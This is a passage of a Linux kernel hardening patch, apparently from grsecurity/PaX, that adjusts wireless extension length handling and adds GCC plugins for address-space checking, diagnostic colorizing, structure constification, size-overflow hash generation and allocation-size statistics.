+--- net/wireless/core.h	2012-09-27 23:19:11.000000000 +0000
++++ net/wireless/core.h	2012-10-15 17:30:59.829924531 +0000
+@@ -28,7 +28,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+--- net/wireless/wext-core.c	2012-09-27 23:19:12.000000000 +0000
++++ net/wireless/wext-core.c	2012-10-15 17:30:59.829924531 +0000
+@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+--- scripts/gcc-plugin.sh	1970-01-01 00:00:00.000000000 +0000
++++ scripts/gcc-plugin.sh	2012-10-15 17:30:59.829924531 +0000
+@@ -0,0 +1,17 @@
++#!/bin/bash
++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 <<EOF
++#include "gcc-plugin.h"
++#include "tree.h"
++#include "tm.h"
++#include "rtl.h"
++#ifdef ENABLE_BUILD_WITH_CXX
++#warning $2
++#else
++#warning $1
++#endif
++EOF`
++if [ $? -eq 0 ]
++then
++	[[ "$plugincc" =~ "$1" ]] && echo "$1"
++	[[ "$plugincc" =~ "$2" ]] && echo "$2"
++fi
+--- tools/gcc/checker_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/checker_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,171 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to implement various sparse (source code checker) features
++ *
++ * TODO:
++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch)
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++#include "target.h"
++
++extern void c_register_addr_space (const char *str, addr_space_t as);
++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t);
++extern enum machine_mode default_addr_space_address_mode (addr_space_t);
++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as);
++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as);
++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as);
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info checker_plugin_info = {
++	.version	= "201111150100",
++};
++
++#define ADDR_SPACE_KERNEL		0
++#define ADDR_SPACE_FORCE_KERNEL		1
++#define ADDR_SPACE_USER			2
++#define ADDR_SPACE_FORCE_USER		3
++#define ADDR_SPACE_IOMEM		0
++#define ADDR_SPACE_FORCE_IOMEM		0
++#define ADDR_SPACE_PERCPU		0
++#define ADDR_SPACE_FORCE_PERCPU		0
++#define ADDR_SPACE_RCU			0
++#define ADDR_SPACE_FORCE_RCU		0
++
++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace)
++{
++	return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC);
++}
++
++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace)
++{
++	return default_addr_space_address_mode(ADDR_SPACE_GENERIC);
++}
++
++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_valid_pointer_mode(mode, as);
++}
++
++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as)
++{
++	return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC);
++}
++
++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_legitimize_address(x, oldx, mode, as);
++}
++
++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset)
++{
++	if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	return subset == superset;
++}
++
++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type)
++{
++//	addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type));
++//	addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type));
++
++	return op;
++}
++
++static void register_checker_address_spaces(void *event_data, void *data)
++{
++	c_register_addr_space("__kernel", ADDR_SPACE_KERNEL);
++	c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL);
++	c_register_addr_space("__user", ADDR_SPACE_USER);
++	c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER);
++//	c_register_addr_space("__iomem", ADDR_SPACE_IOMEM);
++//	c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM);
++//	c_register_addr_space("__percpu", ADDR_SPACE_PERCPU);
++//	c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU);
++//	c_register_addr_space("__rcu", ADDR_SPACE_RCU);
++//	c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU);
++
++	targetm.addr_space.pointer_mode		= checker_addr_space_pointer_mode;
++	targetm.addr_space.address_mode		= checker_addr_space_address_mode;
++	targetm.addr_space.valid_pointer_mode	= checker_addr_space_valid_pointer_mode;
++	targetm.addr_space.legitimate_address_p	= checker_addr_space_legitimate_address_p;
++//	targetm.addr_space.legitimize_address	= checker_addr_space_legitimize_address;
++	targetm.addr_space.subset_p		= checker_addr_space_subset_p;
++	targetm.addr_space.convert		= checker_addr_space_convert;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info);
++
++	for (i = 0; i < argc; ++i)
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL);
++
++	return 0;
++}
+--- tools/gcc/colorize_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/colorize_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,148 @@
++/*
++ * Copyright 2012 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to colorize diagnostic output
++ *
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info colorize_plugin_info = {
++	.version	= "201203092200",
++	.help		= NULL,
++};
++
++#define GREEN		"\033[32m\033[2m"
++#define LIGHTGREEN	"\033[32m\033[1m"
++#define YELLOW		"\033[33m\033[2m"
++#define LIGHTYELLOW	"\033[33m\033[1m"
++#define RED		"\033[31m\033[2m"
++#define LIGHTRED	"\033[31m\033[1m"
++#define BLUE		"\033[34m\033[2m"
++#define LIGHTBLUE	"\033[34m\033[1m"
++#define BRIGHT		"\033[m\033[1m"
++#define NORMAL		"\033[m"
++
++static diagnostic_starter_fn old_starter;
++static diagnostic_finalizer_fn old_finalizer;
++
++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	const char *color;
++	char *newprefix;
++
++	switch (diagnostic->kind) {
++	case DK_NOTE:
++		color = LIGHTBLUE;
++		break;
++
++	case DK_PEDWARN:
++	case DK_WARNING:
++		color = LIGHTYELLOW;
++		break;
++
++	case DK_ERROR:
++	case DK_FATAL:
++	case DK_ICE:
++	case DK_PERMERROR:
++	case DK_SORRY:
++		color = LIGHTRED;
++		break;
++
++	default:
++		color = NORMAL;
++	}
++
++	old_starter(context, diagnostic);
++	if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix))
++		return;
++	pp_destroy_prefix(context->printer);
++	pp_set_prefix(context->printer, newprefix);
++}
++
++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	old_finalizer(context, diagnostic);
++}
++
++static void colorize_arm(void)
++{
++	old_starter = diagnostic_starter(global_dc);
++	old_finalizer = diagnostic_finalizer(global_dc);
++
++	diagnostic_starter(global_dc) = start_colorize;
++	diagnostic_finalizer(global_dc) = finalize_colorize;
++}
++
++static unsigned int execute_colorize_rearm(void)
++{
++	if (diagnostic_starter(global_dc) == start_colorize)
++		return 0;
++
++	colorize_arm();
++	return 0;
++}
++
++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = {
++	.pass = {
++		.type			= SIMPLE_IPA_PASS,
++		.name			= "colorize_rearm",
++		.gate			= NULL,
++		.execute		= execute_colorize_rearm,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static void colorize_start_unit(void *gcc_data, void *user_data)
++{
++	colorize_arm();
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info colorize_rearm_pass_info = {
++		.pass				= &pass_ipa_colorize_rearm.pass,
++		.reference_pass_name		= "*free_lang_data",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info);
++	register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info);
++	return 0;
++}
+--- tools/gcc/constify_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/constify_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,331 @@
++/*
++ * Copyright 2011 by Emese Revfy <re.emese@gmail.com>
++ * Copyright 2011 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification.
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/const_plugin/
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c
++ * $ gcc -fplugin=constify_plugin.so test.c -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info const_plugin_info = {
++	.version	= "201205300030",
++	.help		= "no-constify\tturn off constification\n",
++};
++
++static void deconstify_tree(tree node);
++
++static void deconstify_type(tree type)
++{
++	tree field;
++
++	for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++		if (!TYPE_READONLY(type))
++			continue;
++
++		deconstify_tree(field);
++	}
++	TYPE_READONLY(type) = 0;
++	C_TYPE_FIELDS_READONLY(type) = 0;
++}
++
++static void deconstify_tree(tree node)
++{
++	tree old_type, new_type, field;
++
++	old_type = TREE_TYPE(node);
++
++	gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST));
++
++	new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST);
++	TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type));
++	for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field))
++		DECL_FIELD_CONTEXT(field) = new_type;
++
++	deconstify_type(new_type);
++
++	TREE_READONLY(node) = 0;
++	TREE_TYPE(node) = new_type;
++}
++
++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	tree type;
++
++	*no_add_attrs = true;
++	if (TREE_CODE(*node) == FUNCTION_DECL) {
++		error("%qE attribute does not apply to functions", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == VAR_DECL) {
++		error("%qE attribute does not apply to variables", name);
++		return NULL_TREE;
++	}
++
++	if (TYPE_P(*node)) {
++		if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE)
++			*no_add_attrs = false;
++		else
++			error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	type = TREE_TYPE(*node);
++
++	if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) {
++		error("%qE attribute is already applied to the type", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) {
++		error("%qE attribute used on type that is not constified", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL) {
++		deconstify_tree(*node);
++		return NULL_TREE;
++	}
++
++	return NULL_TREE;
++}
++
++static void constify_type(tree type)
++{
++	TYPE_READONLY(type) = 1;
++	C_TYPE_FIELDS_READONLY(type) = 1;
++}
++
++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	*no_add_attrs = true;
++	if (!TYPE_P(*node)) {
++		error("%qE attribute applies to types only", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	*no_add_attrs = false;
++	constify_type(*node);
++	return NULL_TREE;
++}
++
++static struct attribute_spec no_const_attr = {
++	.name			= "no_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_no_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static struct attribute_spec do_const_attr = {
++	.name			= "do_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_do_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&no_const_attr);
++	register_attribute(&do_const_attr);
++}
++
++static bool is_fptr(tree field)
++{
++	tree ptr = TREE_TYPE(field);
++
++	if (TREE_CODE(ptr) != POINTER_TYPE)
++		return false;
++
++	return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE;
++}
++
++static bool walk_struct(tree node)
++{
++	tree field;
++
++	if (TYPE_FIELDS(node) == NULL_TREE)
++		return false;
++
++	if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) {
++		gcc_assert(!TYPE_READONLY(node));
++		deconstify_type(node);
++		return false;
++	}
++
++	for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++		enum tree_code code = TREE_CODE(type);
++
++		if (node == type)
++			return false;
++		if (code == RECORD_TYPE || code == UNION_TYPE) {
++			if (!(walk_struct(type)))
++				return false;
++		} else if (!is_fptr(field) && !TREE_READONLY(field))
++			return false;
++	}
++	return true;
++}
++
++static void finish_type(void *event_data, void *data)
++{
++	tree type = (tree)event_data;
++
++	if (type == NULL_TREE || type == error_mark_node)
++		return;
++
++	if (TYPE_READONLY(type))
++		return;
++
++	if (walk_struct(type))
++		constify_type(type);
++}
++
++static unsigned int check_local_variables(void);
++
++struct gimple_opt_pass pass_local_variable = {
++	{
++		.type			= GIMPLE_PASS,
++		.name			= "check_local_variables",
++		.gate			= NULL,
++		.execute		= check_local_variables,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static unsigned int check_local_variables(void)
++{
++	tree var;
++	referenced_var_iterator rvi;
++
++#if BUILDING_GCC_VERSION == 4005
++	FOR_EACH_REFERENCED_VAR(var, rvi) {
++#else
++	FOR_EACH_REFERENCED_VAR(cfun, var, rvi) {
++#endif
++		tree type = TREE_TYPE(var);
++
++		if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var))
++			continue;
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++
++		if (!TYPE_READONLY(type))
++			continue;
++
++//		if (lookup_attribute("no_const", DECL_ATTRIBUTES(var)))
++//			continue;
++
++//		if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type)))
++//			continue;
++
++		if (walk_struct(type)) {
++			error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var);
++			return 1;
++		}
++	}
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	bool constify = true;
++
++	struct register_pass_info local_variable_pass_info = {
++		.pass				= &pass_local_variable.pass,
++		.reference_pass_name		= "*referenced_vars",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!(strcmp(argv[i].key, "no-constify"))) {
++			constify = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info);
++	if (constify) {
++		register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/generate_size_overflow_hash.sh	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/generate_size_overflow_hash.sh	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,94 @@
++#!/bin/bash
++
++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c).
++
++header1="size_overflow_hash.h"
++database="size_overflow_hash.data"
++n=65536
++
++usage() {
++cat <<EOF
++usage: $0 options
++OPTIONS:
++        -h|--help               help
++	-o			header file
++	-d			database file
++	-n			hash array size
++EOF
++    return 0
++}
++
++while true
++do
++    case "$1" in
++    -h|--help)	usage && exit 0;;
++    -n)		n=$2; shift 2;;
++    -o)		header1="$2"; shift 2;;
++    -d)		database="$2"; shift 2;;
++    --)		shift 1; break ;;
++     *)		break ;;
++    esac
++done
++
++create_defines() {
++	for i in `seq 1 32`
++	do
++		echo -e "#define PARAM"$i" (1U << "$i")" >> "$header1"
++	done
++	echo >> "$header1"
++}
++
++create_structs () {
++	rm -f "$header1"
++
++	create_defines
++
++	cat "$database" | while read data
++	do
++		data_array=($data)
++		struct_hash_name="${data_array[0]}"
++		funcn="${data_array[1]}"
++		params="${data_array[2]}"
++		next="${data_array[5]}"
++
++		echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1"
++
++		echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1"
++		echo -en "\t.param\t= " >> "$header1"
++		line=
++		for param_num in ${params//-/ };
++		do
++			line="${line}PARAM"$param_num"|"
++		done
++
++		echo -e "${line%?},\n};\n" >> "$header1"
++	done
++}
++
++create_headers () {
++	echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1"
++}
++
++create_array_elements () {
++	index=0
++	grep -v "nohasharray" $database | sort -n -k 4 | while read data
++	do
++		data_array=($data)
++		i="${data_array[3]}"
++		hash="${data_array[4]}"
++		while [[ $index -lt $i ]]
++		do
++			echo -e "\t["$index"]\t= NULL," >> "$header1"
++			index=$(($index + 1))
++		done
++		index=$(($index + 1))
++		echo -e "\t["$i"]\t= &"$hash"," >> "$header1"
++	done
++	echo '};' >> $header1
++}
++
++create_structs
++create_headers
++create_array_elements
++
++exit 0
+--- tools/gcc/kallocstat_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kallocstat_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,167 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to find the distribution of k*alloc sizes
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static const char * const kalloc_functions[] = {
++	"__kmalloc",
++	"kmalloc",
++	"kmalloc_large",
++	"kmalloc_node",
++	"kmalloc_order",
++	"kmalloc_order_trace",
++	"kmalloc_slab",
++	"kzalloc",
++	"kzalloc_node",
++};
++
++static struct plugin_info kallocstat_plugin_info = {
++	.version	= "201111150100",
++};
++
++static unsigned int execute_kallocstat(void);
++
++static struct gimple_opt_pass kallocstat_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kallocstat",
++		.gate			= NULL,
++		.execute		= execute_kallocstat,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static bool is_kalloc(const char *fnname)
++{
++	size_t i;
++
++	for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++)
++		if (!strcmp(fnname, kalloc_functions[i]))
++			return true;
++	return false;
++}
++
++static unsigned int execute_kallocstat(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: 
++			tree fndecl, size;
++			gimple call_stmt;
++			const char *fnname;
++
++			// is it a call
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fndecl = gimple_call_fndecl(call_stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (TREE_CODE(fndecl) != FUNCTION_DECL)
++				continue;
++
++			// is it a call to k*alloc
++			fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl));
++			if (!is_kalloc(fnname))
++				continue;
++
++			// is the size arg the result of a simple const assignment
++			size = gimple_call_arg(call_stmt, 0);
++			while (true) {
++				gimple def_stmt;
++				expanded_location xloc;
++				size_t size_val;
++
++				if (TREE_CODE(size) != SSA_NAME)
++					break;
++				def_stmt = SSA_NAME_DEF_STMT(size);
++				if (!def_stmt || !is_gimple_assign(def_stmt))
++					break;
++				if (gimple_num_ops(def_stmt) != 2)
++					break;
++				size = gimple_assign_rhs1(def_stmt);
++				if (!TREE_CONSTANT(size))
++					continue;
++				xloc = expand_location(gimple_location(def_stmt));
++				if (!xloc.file)
++					xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++				size_val = TREE_INT_CST_LOW(size);
++				fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line);
++				break;
++			}
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++//debug_tree(gimple_call_fn(call_stmt));
++//print_node(stderr, "pax", fndecl, 4);
++		}
++	}
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info kallocstat_pass_info = {
++		.pass				= &kallocstat_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info);
++
++	return 0;
++}
+--- tools/gcc/kernexec_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kernexec_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,427 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
